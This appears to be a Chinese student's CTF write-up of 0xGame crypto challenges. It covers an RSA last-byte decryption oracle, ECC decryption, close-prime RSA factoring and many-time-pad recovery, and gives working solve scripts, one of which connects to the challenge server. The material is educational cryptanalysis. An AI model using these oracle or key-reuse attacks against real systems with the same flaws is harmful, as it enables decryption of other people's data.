 | |_) | |_| | ||  __/ | |_| | | | (_| | (__| |  __/
 |____/ \__, |\__\___|  \___/|_|  \__,_|\___|_|\___|
        |___/                                       

"""
menu = r"""
MENU:
1.GetKey
2.Encrypt
3.Decrypt
4.Quit
"""


def GenerateRSAKey():
    n, phi = 1, 1
    for i in range(4):
        while True:
            p = getPrime(1000)
            if isPrime(p):
                break
        n *= p
        phi *= (p - 1)
    e = getPrime(randint(20, 24))
    d = inverse(e, phi)
    return n, e, d


class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 9182
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()

    def printf(self, msg, newline=True):
        if newline:
            msg += "\n"
        self.request.sendall(msg.encode())

    def scanf(self, prompt='> '):
        self.printf(prompt, newline=False)
        return self._recvall()

    def handle(self):
        signal.alarm(1200)
        self.printf(banner)
        n, e, d = GenerateRSAKey()
        flag = _flag
        flag = bytes_to_long(os.urandom(390) + b"          " + flag.encode() + b"          " + os.urandom(30))
        for ___ in range(1607087):
            self.printf(menu)
            try:
                op = int(self.scanf())
                if op == 1:
                    self.printf(f"n={n}")
                    self.printf(f"e={e}")
                    self.printf(f"c={pow(flag, e, n)}")
                elif op == 2:
                    m = int(self.scanf("Enter your plaintext in decimal format >"))
                    c = pow(m, e, n)
                    msg = long_to_bytes(c).hex()[-2:]
                    self.printf(f"The last byte of your Ciphertext is: {msg}")
                elif op == 3:
                    c = int(self.scanf("Enter your ciphertext in decimal format >"))
                    m = pow(c, d, n)
                    msg = long_to_bytes(m).hex()[-2:]
                    self.printf(f"The last byte of your Plaintext is: {msg}")
                else:
                    break
            except:
                self.printf("Wrong Input")
                break
        self.printf("Quitting...")


class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass


if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 10003
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    print("Server at 0.0.0.0 port " + str(PORT))
    server.serve_forever()

参考文章

https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_chosen_plain_cipher/#rsa-byte-oracle

https://xz.aliyun.com/t/2446#toc-22

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# _*_ coding:utf-8 _*_
import gmpy2
from Crypto.Util.number import  bytes_to_long, long_to_bytes
from fractions import Fraction
import re
from pwn import *

p = remote('124.223.224.73',10003)

def getkey():
    p.recvuntil('> ')
    p.sendline(b'1')
    n = int(p.recvline().replace('n=',''))
    e = int(p.recvline().replace('e=',''))
    c = int(p.recvline().replace('c=',''))
    return n,e,c

def dec(data):
    p.recvuntil('> ')
    p.sendline(b'3')
    p.recvuntil('Enter your ciphertext in decimal format >')
    p.sendline(bytes(c))
    p.recvuntil('The last byte of your Plaintext is: ')
    num = bytes_to_long(p.recv(2).decode('hex'))
    return num

def recover_flag(flagcipher,n,e):
    submap = {}
    for i in range(0, 256):
        submap[-n * i % 256] = i
    cipher256 = pow(bytes_to_long(256), e, n)
    last_bytes = dec(flagcipher)
    L = Fraction(0, 1)
    R = Fraction(1, 1)
    for i in range(128):
        print i
        flagcipher = flagcipher * cipher256 % n
        b = dec(flagcipher)
        k = submap[b]
        L, R = L + (R - L) * Fraction(k, 256), L + (R - L) * Fraction(k + 1, 256)
    low = int(L * n)
    return long_to_bytes(low - low % 256 + last_bytes)

n,e,c = getkey()

print recover_flag(c,n,e)

用先知的脚本本地跑一直超时… 代码中 signal.alarm(1200) 限制了时间为 20 分钟

学长说这个脚本是 oracle, 题目是 bytes oracle, 但是 ctf-wiki 里的代码不会改呜呜呜

于是查了下 nc 服务器的 ip, 刚好是腾讯云上海机房, 然后自己的腾讯云 vps 恰好也在上海, 最后就扔到了 vps 上跑…

试了好几次终于卡着 19 分钟的时间成功了

flag 为 0xGame{RSA|Byte_0racle~~~}

ECC

task.sage

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from secret import msg
flag = b'0xGame{' + msg + b'}'
p = 112495892893734483388663296402932842095997843753374438421695290988359832460051
x = bytes_to_long(msg[:8])
y = bytes_to_long(msg[8:])
a = 101981543389703054444906888236965100227902100585263327233246492901054535785571
b = 2706186933878057652676309926348143366670031701983557300942511880324524788574
E = EllipticCurve(GF(p),[a,b])
G = E(101981543389703054444906888236965100227902100585263327233246492901054535785573,91039746864447832832895531433088113132756837557011083320841009534578343965536)
m = E(x,y)
n = G.order()
k = randint(1,n)
K = k*G
r1 = randint(1, n)
r2 = randint(1, n)
c1 = m + r1 * K
c2 = r2 * G

print(k)
print(r1)
print(r2)
print(c1.xy())
print(c2.xy())

# 71945889038953341847263519104630318243817670767276069261230241683585545826661
# 17508017898353406319910889374706380553395041177439941992127017651621727142700
# 9635688439246373463146554181223462429254170330456300413235282298036335053171
# (50699670968971868104581239148265328978400022565577671265162163603182863155985, 35650116946501339414509636935589952076371147766891190369628323621304967371478)
# (24844834536235754929295699976588636674139783137334889500986181346650283652602, 103436077552626107087076436692500561168148578742541763620395982301426624422180)

椭圆曲线加密, 刚开始以为是跟 RSA 一样考察相关攻击方法的, 后来发现只是最基本的加解密, 网上耐心搜一搜就能做出来

参考文章 https://www.cnblogs.com/lnjoy/p/ecc.html

p a b k r1 r2 G 都已知, 那么根据 c1 c2 这两个点就可以直接算出来点 m

参考文章中的解密代码 m = c1 - k * c2 其实就是对原来加密的表达式进行移项

1
2
3
c1 = m + r * K
c2 = r * G
K = k * G

m 的推导如下

1
2
3
m = c1 - r * K
  = c1 - r * k * G
  = c1 - k * c2

类似的, 由题目中加密的表达式可以很容易地推出 m 的值

1
2
3
4
5
6
c1 = m + r1 * K
c2 = r2 * G
K = k * G

m = c1 - r1 * K
  = c1 - r1 * k * G

好像并没有用到 c2 这个点(?)

最终脚本如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
p = 112495892893734483388663296402932842095997843753374438421695290988359832460051
a = 101981543389703054444906888236965100227902100585263327233246492901054535785571
b = 2706186933878057652676309926348143366670031701983557300942511880324524788574
k = 71945889038953341847263519104630318243817670767276069261230241683585545826661
r1 = 17508017898353406319910889374706380553395041177439941992127017651621727142700
r2 = 9635688439246373463146554181223462429254170330456300413235282298036335053171

E = EllipticCurve(GF(p),[a,b])
c1 = E(50699670968971868104581239148265328978400022565577671265162163603182863155985, 35650116946501339414509636935589952076371147766891190369628323621304967371478)
c2 = E(24844834536235754929295699976588636674139783137334889500986181346650283652602, 103436077552626107087076436692500561168148578742541763620395982301426624422180)
G = E(101981543389703054444906888236965100227902100585263327233246492901054535785573,91039746864447832832895531433088113132756837557011083320841009534578343965536)

m = c1 - r1 * k * G
print(m)

flag 为 0xGame{Ecc:have_fun!~~~}

我也不知道取啥名捏

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *
from gmpy2 import next_prime
from random import getrandbits
from secret import flag

p = getStrongPrime(1024)
q = next_prime(p ^ ((1 << 1024) - 1) ^ getrandbits(16))
n = p * q
e = 65537

m = bytes_to_long(flag)
assert m < n
c = pow(m, e, n)

print(hex(n))
# 0x2d664b36d81e6b469d7ecf3e92b4635a9361b834484478cdd58258a2a68abc3ebc4a5cd75cd2b9f2e2a851955f7dc08253d39ec9cc0443fcf3836bef9fbfd1f66fac032247d573ee6f647b40de0b76dd1250ec2ff0de257c3e9d8626aa0f9627852669492476f399878e26b8744089ebdf3d1d5b58adc6ce080a49c27d1d04440a692ecaa4621642c034b516f5b11e25d448e970f8212c72a63f30dee5658bb97d72c3216dcf5fbf111d14f0945bda5f3cd79769ecf867a28ea581986d1e906322542d114f021e2bc5597c57cad9be1e284b5ad3632a827a052b4ef6da125e8987aeccddba47c1201e9156e5245c753a5806d5d6a7bfd0c1e627a6694db42fa1

print(hex(c))
# 0x51d7e86e676e3816646d9b1dddc60505b08004176ded1f4dcfbc2be43b4ad7db28e750e923b2c31a67e61c75a1080c8d2e984f5180186085739d2e1ee591837c3579d1e399aabeb28c0adcc0851791c865e4b2eafc4753e274b0a3240a96fb07c9b5e99f1fe524913faf082161aaf4ceda5367805642e7b3fe4c2a34289aee31f95d54aa70bbd2356d0ff634f9118d93bdf1d7fef44ee291c37de0bc19cc2cfbcde8f2d35a0083a543fe073ecbf5f599091a2e4c49f914bf7001111fe28baa1726cbfe23964d743db93091f9486399b5f611e94cf0891707d69b4ba9299eda098a0f157a5cdde2279c3e7291fc2e1a63b158b37d767b7d3b5ee333e2681779c

参考文章 https://blog.csdn.net/m0_62506844/article/details/124256746

题目几乎一样…. 但这题生成 q 的时候多了一个 getrandbits(16), 不过跑的时候发现并没有影响

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from Crypto.Util.number import *
import gmpy2

n = 0x2d664b36d81e6b469d7ecf3e92b4635a9361b834484478cdd58258a2a68abc3ebc4a5cd75cd2b9f2e2a851955f7dc08253d39ec9cc0443fcf3836bef9fbfd1f66fac032247d573ee6f647b40de0b76dd1250ec2ff0de257c3e9d8626aa0f9627852669492476f399878e26b8744089ebdf3d1d5b58adc6ce080a49c27d1d04440a692ecaa4621642c034b516f5b11e25d448e970f8212c72a63f30dee5658bb97d72c3216dcf5fbf111d14f0945bda5f3cd79769ecf867a28ea581986d1e906322542d114f021e2bc5597c57cad9be1e284b5ad3632a827a052b4ef6da125e8987aeccddba47c1201e9156e5245c753a5806d5d6a7bfd0c1e627a6694db42fa1
c = 0x51d7e86e676e3816646d9b1dddc60505b08004176ded1f4dcfbc2be43b4ad7db28e750e923b2c31a67e61c75a1080c8d2e984f5180186085739d2e1ee591837c3579d1e399aabeb28c0adcc0851791c865e4b2eafc4753e274b0a3240a96fb07c9b5e99f1fe524913faf082161aaf4ceda5367805642e7b3fe4c2a34289aee31f95d54aa70bbd2356d0ff634f9118d93bdf1d7fef44ee291c37de0bc19cc2cfbcde8f2d35a0083a543fe073ecbf5f599091a2e4c49f914bf7001111fe28baa1726cbfe23964d743db93091f9486399b5f611e94cf0891707d69b4ba9299eda098a0f157a5cdde2279c3e7291fc2e1a63b158b37d767b7d3b5ee333e2681779c
e = 65537
t1 = 1 << 1024
p = (2 ** 1024 + gmpy2.iroot((2 ** 1024) ** 2 - 4 * n,2)[0]) // 2
p = int(p)
while n % p != 0:
    p = gmpy2.next_prime(p)
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

跑出来的结果为 0xGame{c3c7bca98ce4dc4cce797d8197597a40}

MTP

output.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
79166715050c08490316520d1c1c5450530d1b11451918
421567021f1c0b1d01004a1001175e5c1a0a5301160819
101934411e0d141b1a1b520d115e131301591207450c13
101925031f000d000f075a0c1b5255130159511717140d
441720130c1513000d53401a0606561151575335450e0f
4908330e0a171a19061a5043060b40081614531d164d1c
5e01670202080b1c1a164143060b4008161453000d0c09
1011291702090d0c1d5350110c024713140b12040d1453
102b3202054508101d07560e06525a1210150610004d1b
5f0a670803160f080010564f5513130f0a0a0711084d1b
5f0a671208060e1b0b53560f1011470e1c171a1745001c
59146716050c18014e1e5a041d0613151d1a1f0101085d
5d1d330902010849081c4143111b541507181f5416041a
5e1933141f0008454e10411a05065c1b0118031c0c0e5d
581934094d030e070d075a0c1b011f5c181c0a54080c13
511f220c080b0f491a16500b1b1b4209160a5f54040319
100b2841020b55ffffffffffffffffffffffffffffffff

参考文章 https://www.ruanx.net/many-time-pad/

直接用文章里给出的脚本, 注意要修正几个字符 (根据上下文来联想)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import Crypto.Util.strxor as xo
import libnum, codecs, numpy as np

def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False

def infer(index, pos):
    if msg[index, pos] != 0:
        return
    msg[index, pos] = ord(' ')
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

dat = []

def getSpace():
    for index, x in enumerate(c):
        res = [xo.strxor(x, y) for y in c if x!=y]
        f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
        cnt = [f(pos) for pos in range(len(x))]
        for pos in range(len(x)):
            dat.append((f(pos), index, pos))

c = [codecs.decode(x.strip().encode(), 'hex') for x in open('output.txt', 'r').readlines()]

msg = np.zeros([len(c), len(c[0])], dtype=int)

getSpace()

dat = sorted(dat)[::-1]
for w, index, pos in dat:
    infer(index, pos)

def know(index, pos, ch):
    msg[index, pos] = ord(ch)
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(ch)

know(1,10,'y')
know(1,6,'p')
know(4,1,'o')
print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))

key = xo.strxor(c[0], ''.join([chr(c) for c in msg[0]]).encode())
print(key)

仔细看一下原文章里的脚本可以知道 know 的第一个参数指从零开始数的第几行, 第二个参数指某一行从零开始数的第几个字符

修正前

修正后

flag 为 0xGame{ins3cur3|system}

0%